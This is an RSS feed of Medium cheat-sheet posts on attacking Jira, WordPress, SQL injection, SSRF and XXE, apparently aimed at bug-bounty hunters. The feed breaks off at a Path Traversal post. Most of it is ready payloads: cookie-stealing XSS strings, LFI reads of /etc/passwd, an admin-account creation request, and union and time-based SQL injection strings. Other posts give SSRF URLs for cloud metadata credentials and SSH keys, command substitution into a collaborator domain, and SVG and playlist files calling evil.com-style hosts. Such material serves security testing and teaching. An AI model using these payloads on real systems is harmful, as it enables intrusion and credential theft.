<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohammed Hassan on Medium]]></title>
        <description><![CDATA[Stories by Mohammed Hassan on Medium]]></description>
        <link>https://medium.com/@MohammedMHassan?source=rss-f9234c3796ec------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*F8Cr_e2yVy64aJIlMQu0dQ.jpeg</url>
            <title>Stories by Mohammed Hassan on Medium</title>
            <link>https://medium.com/@MohammedMHassan?source=rss-f9234c3796ec------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 05:35:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@MohammedMHassan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacking Jira]]></title>
            <link>https://medium.com/@MohammedMHassan/hacking-jira-f4d2081c7513?source=rss-f9234c3796ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4d2081c7513</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[jira]]></category>
            <dc:creator><![CDATA[Mohammed Hassan]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 14:42:34 GMT</pubDate>
            <atom:updated>2025-09-12T14:42:34.099Z</atom:updated>
            <content:encoded><![CDATA[<p>Jira is a <strong>project management and issue tracking tool</strong> developed by <strong>Atlassian</strong>.It’s most commonly used in <strong>software development</strong>, but it can also manage projects in IT, business, and other fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*HM8SRvQsnN7g87be.jpg" /></figure><h3>Jira Permissions</h3><ul><li>permissions in jira can be accessed by any user</li></ul><pre>- ADD_COMMENTS<br>- ADMINISTER<br>- ADMINISTER_PROJECTS<br>- ASSIGNABLE_USER<br>- DELETE_ISSUES<br>- etc…</pre><h3>To see what permissions are allowed to the user:</h3><ul><li><a href="https://yourdomain.atlassian.net/rest/api/2/mypermissions?permissions=ADD_COMME">https://yourdomain.atlassian.net/rest/api/2/mypermissions?permissions=ADD_COMME</a></li><li>Replace your domain after ://</li><li>Choose one of the comments blew, but it instead of ADD_COMME</li></ul><pre><br>NTS,ADMINISTER,A`ASSIGNABLE_USER,ASSIGN_ISSUES,BROWSE_PROJECTS,BULK<br>_CHANGE,CLOSE_ISSUES,CREATE_ATTACHMENTS,CREATE_ISSUES,CREATE_PROJEC<br>T,CREATE_SHARED_OBJECTS,DELETE_ALL_ATTACHMENTS,DELETE_ALL_COMMENTS,<br>DELETE_ALL_WORKLOGS,DELETE_ISSUES,DELETE_OWN_ATTACHMENTS,DELETE_OWN<br>_COMMENTS,DELETE_OWN_WORKLOGS,EDIT_ALL_COMMENTS,EDIT_ALL_WORKLOGS,E<br>DIT_ISSUES,EDIT_OWN_COMMENTS,EDIT_OWN_WORKLOGS,LINK_ISSUES,MANAGE_G<br>ROUP_FILTER_SUBSCRIPTIONS,MANAGE_SPRINTS_PERMISSION,MANAGE_WATCHERS<br>,MODIFY_REPORTER,MOVE_ISSUES,RESOLVE_ISSUES,SCHEDULE_ISSUES,SET_ISS<br>UE_SECURITY,SYSTEM_ADMIN,TRANSITION_ISSUES,USER_PICKER,VIEW_AGGREGA<br>TED_DATA,VIEW_DEV_TOOLS,VIEW_READONLY_WORKFLOW,VIEW_VOTERS_AND_WATC<br>HERS,WORK_ON_ISSUES</pre><h3>Important paths in Jira</h3><ul><li>paths that can disclose information in Jira as:</li></ul><pre>- /secure/ManageFilters.jspa?filter=popular&amp;filterView=popular<br>- /secure/Dashboard.jspa =&gt; Project Key enumeration =&gt; CVE 2020 14178<br>- /secure/QueryComponent!Default.jspa =&gt; CVE-2020-14179<br>- /secure/Dashboard.jspa/secure/QueryComponent!Default.jspa CVE-2020-<br>14179<br>- /secure/ViewUserHover.jspa?username=&lt;uname&gt; =&gt; CVE-2020-14181<br>username enumeration<br>- /secure/popups/UserPickerBroswer.jspa<br>- /ConfigurePortalPages!default.jspa?view=popular<br>- /secure/QueryComponentRendererValue!Default.jspa?assi<br>gnee=user:admin<br>- /secure/popups/UserPickerBrowser.jspa<br>- /_*/;/WEB-INF/web.xml*<br>- */_*/;/WEB-INF/decorators.xml<br>- /_*/;/WEB-INF/classes/seraph-config.xml*<br>- */_*/;/META-INF/maven/com.atlassian.jira/jira-webappdist/pom.properties<br>- /_*/;/META-INF/maven/com.atlassian.jira/jira-webappdist/pom.xml*<br>- */_*/;/META-INF/maven/com.atlassian.jira/atlassianjira-webapp/pom.xml</pre><h3>XSS via Jira</h3><pre>- /secure/ConfigurePortalPages!default.jspa?view=search&amp;searchOwnerUs<br>erName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&amp;Search=Search<br>- /secure/ConfigurePortalPages!default.jspa?view=search&amp;searchOwnerUs<br>erName=%3Cscript%3Ealert(1)%3C/script%3E&amp;Search=Search<br>- /plugins/servlet/Wallboard/?dashboardId=10100&amp;dashboardId=10101&amp;cyc<br>lePeriod=(function(){alert(document.cookie);return%2030000;})()&amp;tra<br>nsitionFx=none&amp;random=true<br>- /plugins/servlet/Wallboard/?dashboardId=10000&amp;dashb<br>oardId=10000&amp;cyclePeriod=alert(document.domain)</pre><h3>Enumerate users in Jira</h3><pre>- username enumeration =&gt; CVE-2019-3403<br>- /rest/api/2/user/picker?query=admin<br>- /rest/api/2/dashboard?maxResults=100<br>- /rest/api/2/dashboard/FUZZ from 1-20000<br>- /rest/api/3/mypermissions<br>- /rest/api/2/mypermissions</pre><h3>Infromation disclouser in jira</h3><pre>- /rest/dashboards/1.0/10000/gadget/&lt;GadgetId&gt;/prefs<br>- =&gt; Brute force 10,000 to 20,000 =&gt; CVE-2020-36287<br>- CVE-2019-8442 /s/thiscanbeanythingyouwant/_/METAINF/maven/com.atlassian.jira/atlassian-jirawebapp/pom.xml<br>- CVE-2019-8449<br>/rest/api/latest/groupuserpicker?query=1&amp;maxResults<br>=50000&amp;showAvatar=true<br>- SSRF- CVE-2019-8451<br>http://vulnerablehost.com/plugins/servlet/gadgets/m<br>akeRequest?url=http://vulnerablehost.com@[http://bur](http://bur/)[pcollab.net](http://pcollab.net/)</pre><h3>Automate tools in Jira</h3><ul><li><a href="https://github.com/MayankPandey01/Jira-Lens">Jira-Lens</a>​</li><li><a href="https://github.com/bcoles/jira_scan">jira_scan</a>​</li><li><a href="https://github.com/0x48piraj/Jiraffe">Jiraffe</a>​</li></ul><h3>Important Resources</h3><ul><li><a href="https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting">https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4d2081c7513" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking WordPress]]></title>
            <link>https://medium.com/@MohammedMHassan/hacking-wordpress-6f25147fd3a9?source=rss-f9234c3796ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f25147fd3a9</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohammed Hassan]]></dc:creator>
            <pubDate>Fri, 05 Sep 2025 14:55:29 GMT</pubDate>
            <atom:updated>2025-09-05T14:55:29.764Z</atom:updated>
            <content:encoded><![CDATA[<p>WordPress is a <strong>free, open-source content management system (CMS)</strong> that allows you to build and manage websites without needing deep technical knowledge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mkKxu-9Xk3Pv68yyfDtZg.jpeg" /></figure><h3>How To Know The CMS</h3><ul><li>use an extension called <a href="https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/">Wapalyzer</a></li><li>if the wapalyzer can`t determine the cms or its version we use a command:</li></ul><pre>curl -s -X GET domain | grep &#39;&lt;meta name=generator&gt;&#39;</pre><h3>Popular routes in WordPress</h3><pre>- index.php<br>- license.txt<br>- readme.html<br>- wp-activate.php<br>- wp-blog-header.php<br>- wp-comments-post.php<br>- wp-config.php<br>- wp-config-sample.php<br>- wp-corn.php<br>- wp-includes<br>- wp-links-opml.php<br>- wp-load.php<br>- wp-login.php<br>- wp-mail.php<br>- wp-settings.php<br>- wp-signup.php<br>- wp-trackback.php<br>- xmlrpc.php<br>- /wp-json/wp/v2/users<br>- /wp-json/?rest_route=/wp/v2/users/<br>- /wp-json/?rest_route=/wp/v2/users/n<br>- /index.php?rest_route=/wp-json/wp/v2/users<br>- /index.php?rest_route=/wp/v2/users<br>- /author-sitemap.xml<br>- /wp-content/debug.log<br>- /wp-login.php?action=register<br>- /wp-admin/login.php<br>- /wp-admin/wp-login.php<br>- /login.php<br>- /wp-login.php<br>- /wp-config.php<br>- /wp-admin/login.php<br>- /wp-admin/wp-login.php<br>- /login.php<br>- /wp-login.php<br>- uploads/<br>- UPLOADS/<br>- uPLoaDs/<br>-plugins/mail-masta/inc/compaign/count_of_send.php?pl=/etc/passwd<br>-themes</pre><h3>Automate The Attack</h3><ul><li>First download a tool called <a href="https://github.com/wpscanteam/wpscan">wpscan from github</a></li><li><strong>wpscan</strong> is an <strong>open-source security scanner</strong> specifically designed for <strong>WordPress</strong> websites.</li></ul><pre>wpscan —url domian —disable-tlts-checks —api-token(bring it from wpscan website) -e at -e u —enumerate ap aggressive —force</pre><ul><li>we need to know the plugins of wordpress to find vulns in them:</li></ul><pre>curl -s -X GET domain | sed &#39;s/href=/\n/g&#39; | sed &#39;s/src=/\n/g&#39; | grep &#39;wp-content/plugins/*&#39;<br>| cut -d&quot;&#39;&quot; -f2</pre><ul><li>to get the themes:</li></ul><pre>curl -s -X GET domian | sed &#39;s/href=/\n/g&#39; | sed &#39;s/src=/\n/g&#39; | grep &#39;themes&#39;<br>| cut -d&quot;&#39;&quot; -f2</pre><h3>Tips And Tricks</h3><ul><li>You can find registration is not enabled but you can try to add user but first you need to try to find authorization token can be leaked inside JavaScript files , once you got it you can easily create new user with admin privileges</li></ul><pre>POST /wp-json/wp/v2/users<br>Authorization Bearer<br>&lt;search_for_authorization_in_javascript_files&gt;<br>{ &quot;username&quot;: &quot;username&quot;,<br>&quot;email&quot; : &quot;mail@mail.com&quot;,<br>&quot;password&quot;:&quot;password&quot;,<br>&quot;roles&quot;:[&quot;administrator&quot;] }</pre><ol><li>plugin called simple-image-manipulator vulnerable to LFI</li></ol><pre>/wp-content/plugins/./simple-imagemanipulator/controller/download.php?filepath=/etc/passwd</pre><p>2. plugin called activehelper-livehelp vulnerable to XSS</p><pre>/wp-content/plugins/activehelperlivehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2<br>Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&amp;D<br>OMAINID=DOMAINID&amp;COMPLETE=COMPLETE&amp;TITLE=TITLE&amp;URL=URL&amp;COMPANY=CO<br>MPANY&amp;SERVER=SERVER&amp;PHONE=PHONE&amp;SECURITY=SECURITY&amp;BCC=BCC&amp;EMAIL=E<br>MAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&amp;NAM<br>E=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&amp;</pre><p>3. plugin called amministrazione-aperta vulnerable to LFI</p><pre>/wp-content/plugins/amministrazioneaperta/wpgov/dispatcher.php?open=../../../../../../../../../../<br>etc/passwd</pre><p>4. plugin called anti-plagiarism vulnerable to XSS</p><pre>/wp-content/plugins/antiplagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.<br>domain%29%3C%2Fscript%3E</pre><p>5. Plugin called buddypress-component vulnerable to LFI</p><pre>/wp-content/plugins/buddypress-componentstats/lib/dompdf/dompdf.php?input_file=php://filter?resource=/e<br>tc/passwd</pre><p>6. Plugin called dzs-videogallery vulnerable to file upload can can lead to RCE</p><pre>/wp-content/plugins/dzsvideogallery/admin/upload.php</pre><p>7. plugin called e-search vulnerable to XSS</p><pre>/wp-content/plugins/esearch/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3<br>Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E</pre><p>8. Plugin called localize-my-post vulnerable to LFI</p><pre>/wp-content/plugins/localize-mypost/ajax/include.php?file=../../../../../../../../<br>../../etc/passwd</pre><p>9. plugin called canto vulnerable to RFI and RCE</p><pre>/wpcontent/plugins/canto/includes/lib/download.php?wp_<br>abspath=http://192.168.1.33:8080</pre><p>10. plugin called dzs-zoomsounds vulnerable to LFI</p><pre> /MYzoomsounds/?action=dzsap_download&amp;link=../../../<br>../../../../../../../etc/passwd</pre><ul><li>XSS via Wordpress</li></ul><pre>http://localhost/wordpress/?page=pieregister&amp;show_dash_widget=1&amp;invitaion_code=PHNjcmlw<br>dD5hbGVydCgxKTwvc2NyaXB0Pg==</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f25147fd3a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Union-based SQL injection]]></title>
            <link>https://medium.com/@MohammedMHassan/union-based-sql-injection-2e0cc3b18939?source=rss-f9234c3796ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e0cc3b18939</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Mohammed Hassan]]></dc:creator>
            <pubDate>Sun, 31 Aug 2025 19:58:36 GMT</pubDate>
            <atom:updated>2025-08-31T19:58:36.976Z</atom:updated>
            <content:encoded><![CDATA[<ul><li><strong>Union-based SQL Injection</strong> is a type of SQL injection attack where an attacker uses the UNION SQL operator to combine the results of two or more SELECT queries.</li><li><strong>Union-based SQL Injection</strong> can be exploited in SQL injection attacks to retrieve unauthorized data. This occurs when input validation is insufficient, and user input is concatenated into SQL queries.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/0*XkdicnmVuTjSHgQC.gif" /><figcaption><strong>Union-based SQL Injection</strong></figcaption></figure><h3>Exploitation (Step By Step)</h3><ol><li>to identify the place where injection can has a role we put ⇒ ‘ or “ or \ or ) or )? or ‘) after the value of the parameter of the header</li><li>if there is an error then this indicates that we can inject in this place</li><li>in UNION attack you must know the exact number of cols</li></ol><ul><li>to know the number of cols we use a fun in sql called (ORDER BY) like:</li></ul><pre>user ORDER BY 1 - - + ,ORDER BY 2 - - +, ORDER BY 3 - - +</pre><ul><li>till you get an error which means there is no cols with the last number you testes then the exact cols will be ⇒ lastnumber-1.</li></ul><p>4. after knowing the exact num of cols then we need to know which col is vulnerable by using:</p><pre>&#39; UNION SELECT NULL, NULL, NULL - - +</pre><p>5. if the param is string then we replace each of the NULL with any string value like:</p><pre>-1 &#39; UNION SELECT &#39;X&#39;, NULL, NULL - - +<br>-1 &#39; UNION SELECT NULL, &#39;X&#39;, NULL - - +<br>-1 &#39; UNION SELECT NULL, NULL, &#39;X&#39; - -+</pre><p>6. if the param is number then we replace each of the NULL with any numeric value like:</p><pre>-1 &#39; UNION SELECT 1, NULL, NULL - - +<br>-1 &#39; UNION SELECT NULL, 1, NULL - - +<br>-1 &#39; UNION SELECT NULL, NULL, 1 - - +</pre><p>7. the col in which no error is the place where we can retrieve the data from like:</p><pre>-1 &#39; UNION SELECT NULL, version(), NULL - - +</pre><p>8. to know the names of the tables:</p><pre>-1 &#39; UNION SELECT NULL, table_name , NULL FROM information_schema.tables - - +</pre><p>9. after knowing table names then know col names:</p><pre>-1 &#39; UN ION SELECT NULL, CONCAT(table_name,&#39;:::&#39;,column_name) NULL FROM information_schema.columns - - +</pre><h3>Tips And Tricks</h3><p>1. Where to search for sql injection?</p><ul><li>parameters in GET request as /path/?username=xyz’ — +</li><li>POST request parameters x-value’ — -SPACE</li><li>you can use ‘# to comment also</li><li>headers as X-Forwarded-For: 127.0.0.1’ AND sleep (100) —</li><li>paths as /file/’ AND sleep(100) —</li><li>user input xyz’ OR sleep(100) —</li><li>Cookies parameters sessionID=xyz’ AND sleep(100); —</li><li>you can use ⇒ arjun and paramminer to search for hidden parameters</li></ul><p>2. sql injection can take place in json like: {“username”:”admin”, “password”:” ‘ OR 1=0 — -”}</p><p>3. sql injection can take place in headers like: Connection: ‘ “ or sleep(30)=” ‘ and so on</p><p>4. sqlmap can take the headers where to inject in like: sqlmap -u site_url — — headers=”Cookie:*” -H “X-Forwarded-For:*” -H and so on</p><p>5. sqlmap can inject in post params like: sqlmap -u site_url — — data=”username=xx&amp;password=yy” — — risk 3 — — level 5 -banner</p><p>6. you can put the whole request into a file and pass it to sqlmap and let it try to inject through the whole request</p><p>7. sometimes you can inject in the value of the body of the request as:</p><ul><li>Content-Disposition: from-data; name=”mimetypeid”</li><li>1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE) ‘+(select*from(select(sleep(15)))a)+’</li></ul><h3>SQL injection cheetsheets</h3><ol><li><a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">Portswigger</a></li><li><a href="https://highon.coffee/blog/sqlmap-cheat-sheet/">Coffee</a></li></ol><h3>Important Reports From HackerOne</h3><ol><li><a href="https://hackerone.com/reports/1046084">First Report</a></li><li><a href="https://hackerone.com/reports/273946">Second Report</a></li><li><a href="https://hackerone.com/reports/1069561">Third Report</a></li><li><a href="https://hackerone.com/reports/2597543">Fourth Report</a></li><li><a href="https://hackerone.com/reports/150156/">Fifth Report</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e0cc3b18939" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF]]></title>
            <link>https://medium.com/@MohammedMHassan/ssrf-7c3f196e8d45?source=rss-f9234c3796ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c3f196e8d45</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohammed Hassan]]></dc:creator>
            <pubDate>Sat, 30 Aug 2025 16:00:09 GMT</pubDate>
            <atom:updated>2025-08-30T16:00:09.481Z</atom:updated>
            <content:encoded><![CDATA[<ul><li><strong>SSRF (Server-Side Request Forgery)</strong> is a <strong>web security vulnerability</strong> that happens when an application allows an attacker to make arbitrary HTTP requests from the vulnerable server.</li><li>In a Server-Side Request Forgery (SSRF) attack, The attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLS, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5rBVUaTLldnwGv94" /><figcaption>SSRF</figcaption></figure><h3><strong>Cloud Metadata</strong></h3><ul><li>What is cloud metadata??</li><li>169.254.164.254 is accessible internally within the machine you have access to. Provides details like internal IP, IP, hostname, project details, etc. And also it could give you access to access key and secret key</li></ul><h3><strong>Exploitation</strong></h3><ul><li>suppose the web let you to upload image using url like: GET /api/v1/fetch?url=https://site.com/image.jpeg.</li><li>if you but your bnurp colab insted of the url and you get HTTP and DNS interaction then , you can but the local host in the same place and deal with the server directly.</li><li>localnhost ip of aws ⇒ 169.254.169.254</li><li>full sensitive url in aws ⇒ <a href="http://169.254.169.254/latest/meta-data/local-hostname">http://169.254.169.254/latest/meta-data/local-hostname</a></li><li>full sensitive url in aws ⇒ <a href="http://169.254.169.254/latest/dynamic/instance-identity/document">http://169.254.169.254/latest/dynamic/instance-identity/document</a></li><li>full sensitive url in aws ⇒ <a href="http://169.254.169.254/latest/meta-data/iam/security-credential">http://169.254.169.254/latest/meta-data/iam/security-credential</a></li><li>if it is google not aws then the path is ⇒window.location=”<a href="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-account/default/token;%E2%80%9D">http://metadata.google.internal/computeMetadata/v1beta1/instance/service-account/default/token;”</a></li><li>to get ssh-keys ⇒ <a href="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys">http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys</a></li></ul><h3><strong>Tips And Tricks</strong></h3><p><strong>sensitive places for SSRF:</strong></p><ul><li>?url=file:///etc/passwd</li><li>?url=gopher://</li><li>?url=ssh:// ⇒ RCE</li><li>?url=dict:// (dictionary network protocol)</li><li>?url=ftp:// (file transfer protocol)</li><li>?url=ldap:// (lightweight directory access protocol)</li><li>?url=tftp://</li></ul><p>if the sensitve path of local host of aws does not work just use ⇒ <a href="http://[::]/">http://[::]</a></p><p>if 127.0.0.1 not work try to use ⇒ 127.1 or 127.0.0.0.0.1 and so on</p><p>if you have a website like:<a href="http://example.burpcollaporator.net/">http://example.burpcollaporator.net</a> ⇒ you can make RCE like :</p><p><a href="http://`whoami`.example.burpcollaporator.net/">http://`whoami`.example.burpcollaporator.net</a> |<a href="http://$/">http://$</a>(whoami).example.burpcollaporator.net</p><p>then you may get the command on the burpcollaborator</p><h3><strong>Places to find SSRF</strong></h3><ol><li><strong>Any parameter of url or uri:</strong></li></ol><p>url ,uri ,link ,target ,dest ,destination ,page ,path ,site ,file ,feed ,proxy ,host ,domain ,callback ,webhook ,img ,photo ,avatar ,picture ,upload_url , download ,resource ,api_url ,endpoint ,reference_url ,server ,next ,redir ,redirect ,return</p><p>2.<strong> Headers of the request</strong></p><ul><li>X-Forwarded-For:</li><li>X-Forwarded-Host:</li><li>Origin:</li><li>Host:</li><li>Forwarded-For:</li><li>X-Real-Ip:</li></ul><p>3. <strong>full path of the site as:</strong></p><ul><li>GET <a href="https://burpsuitecollab.net/">https://burpsuitecollab.net</a> HTTP/1.1</li><li>GEt @burpsuitecollab.net HTTP/1.1 (for Flask)</li><li>GEt <a href="/service/mailto:;@burpsuitecollab.net">;@burpsuitecollab.net</a> HTTP/1.1 (for Spring Boot)</li><li>GET @168.254.169.254 HTTP/1.1 ⇒ after one of the previous returns DNS and HTTP interaction</li></ul><p>4. inside files or xss or xml files</p><pre>---------------------------file.html---------------------------<br><br>&lt;body&gt;<br>    &lt;iframe src=&quot;http://169.254.169.254/latest/meta-data/&quot; width=&quot;500&quot; height=&quot;500&quot;&gt;&lt;/iframe&gt;<br>&lt;/body&gt;<br><br>---------------------------file.svg----------------------------<br>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; <br>     width=&quot;300&quot; version=&quot;1.1&quot; height=&quot;200&quot;&gt;<br>    &lt;image xlink:href=&quot;expect://ls&quot;&gt;&lt;/image&gt;<br>&lt;/svg&gt;</pre><pre>---------------------------file.svg----------------------------<br>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; <br>     xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;300&quot; version=&quot;1.1&quot; height=&quot;200&quot;&gt;<br>    &lt;image xlink:href=&quot;http://evil.com/&quot;&gt;&lt;/image&gt; <br>&lt;/svg&gt;<br><br>---------------------------file.avi----------------------------<br>#EXTM3U<br>#EXT-X-MEDIA-SEQUENCE:0<br>#EXTINF:1.0<br>http://ssrfevil.com<br>#EXT-X-ENDLIST</pre><p>5. <strong>Time based SSRF</strong></p><h3>Important Reports From HackerOne</h3><ol><li><a href="https://hackerone.com/reports/341876">First report</a></li><li><a href="https://hackerone.com/reports/2262382">Second Report</a></li><li><a href="https://hackerone.com/reports/530974">Third Report</a></li><li><a href="https://hackerone.com/reports/1960765">Fourth Report</a></li><li><a href="https://hackerone.com/reports/1864188">Fifth Report</a></li><li><a href="https://hackerone.com/reports/3024673">Sixth Report</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c3f196e8d45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XXE]]></title>
            <link>https://medium.com/@MohammedMHassan/xxe-72ec2726fc2c?source=rss-f9234c3796ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/72ec2726fc2c</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[xxe]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[attack]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Mohammed Hassan]]></dc:creator>
            <pubDate>Wed, 27 Aug 2025 14:30:36 GMT</pubDate>
            <atom:updated>2025-08-27T14:30:36.338Z</atom:updated>
            <content:encoded><![CDATA[<p>XMl External Entity is a type of injection where attacker can exploit the processing of XML data by including malicious external entities, which can lead to RCE,DOS, or disclouser of internal files, this happens due to poor validation, .NET has this vuln.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*7KK-UjEfIKuJ3ojI2DT-YA.png" /></figure><h3>DTD</h3><ul><li>document type definition ⇒ defines a strucutre,legal elements,and attributes for XML documents.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*6xdJ27D0MsUagPf8UedaRQ.gif" /><figcaption>Extensible Markup Language</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*OzYjTssFpii1iGk2G0Z4Tw.png" /><figcaption>DTD (Document Type Definition)</figcaption></figure><ul><li>To know that the application uses XML you will find the tag (Content type) as:</li><li>content type: text/plain;charset=UTF-8 || application/xml</li><li>after that you check for the tag which may be vulnerable as it may has a dynamic reaction with the server</li></ul><h3>CDATA</h3><ul><li>Suppose that the server does not support xml, then we use CDATA to enforce the server to accept the special chars of xml like &lt; and &gt;</li><li>Example:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*rMiwKrqXnVyXHeD0xqT14g.png" /></figure><ul><li>suppose the code passed from the frontend but can`t pass from the backend, then we use the CDATA like:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*ItH3jb8yUGYh4BqCA8fIJQ.png" /></figure><ul><li>in the last example the web server may prevent inline entities, then we must use external DTD file with XML reference, but we must but % before every variable if we use external entity.</li><li>Solve issue in last example</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*jutxx4iR3J1h5HTrziMdiA.png" /></figure><ul><li>the content of the filr xxe.dtd is ⇒ &lt;!ENTITY joined “&amp;begin;&amp;file;&amp;end;”&gt;</li></ul><h3>Exploitation</h3><ul><li>suppose the vlun tag is &lt;email&gt;</li><li>just object the entity and call it</li><li>&lt;!DOCTYPE email [ &lt;!ENTITY company “HI”&gt; ]&gt;</li><li>use company entity:</li><li>&lt;email&gt; &amp;company; &lt;/email&gt;</li></ul><p><strong>Example:</strong></p><ul><li>The vuln one:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*AkiGgX6-9HIWAXlvSl_6FQ.png" /></figure><ul><li>After Exploitation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*ZEiWuXZ7urMgyWgJF3J5rA.png" /></figure><ul><li>HI must be reflected</li><li>once HI is reflected , then ask it to give you sensetive data like /etc/passwd, but dont forget to add SYSTEM.</li><li>it will be like:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*Rz1M0p-dJODnfn32f6MIgg.png" /></figure><h3>Tips And Tricks</h3><ul><li>when the app is using json , convert it to xml then check for XXE</li><li>when you convert the json to xml do not forget to change the content type</li><li>website to convert form json to xml ⇒<a href="https://www.convertjson.com/json-to-xml.htm">JSON To XML Converter</a>​</li><li>if a website enables you to upload svg then inject XXE in the photo like:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*2RlAlq_Rh05ABqKaPZOz_A.png" /></figure><ul><li>if the firewall do not allow you to read files like /etc/passwd then:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*GMEr4UKZmAI6xFdM51-euQ.png" /></figure><h3>Important Reports From Hackerone</h3><ol><li><a href="https://hackerone.com/reports/500515">First Report</a></li><li><a href="https://hackerone.com/reports/248668">Second Report</a></li><li><a href="https://hackerone.com/reports/483774">Third Report</a></li><li><a href="https://hackerone.com/reports/486732">Fourth Report</a></li><li><a href="https://hackerone.com/reports/227880">Fifth Report</a></li><li><a href="https://hackerone.com/reports/105787">Sixth Report</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72ec2726fc2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Path Traversal]]></title>
            <link>https://medium.com/@MohammedMHassan/path-traversal-badb260fe16b?source=rss-f9234c3796ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/badb260fe16b</guid>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[hackerone]]></category>
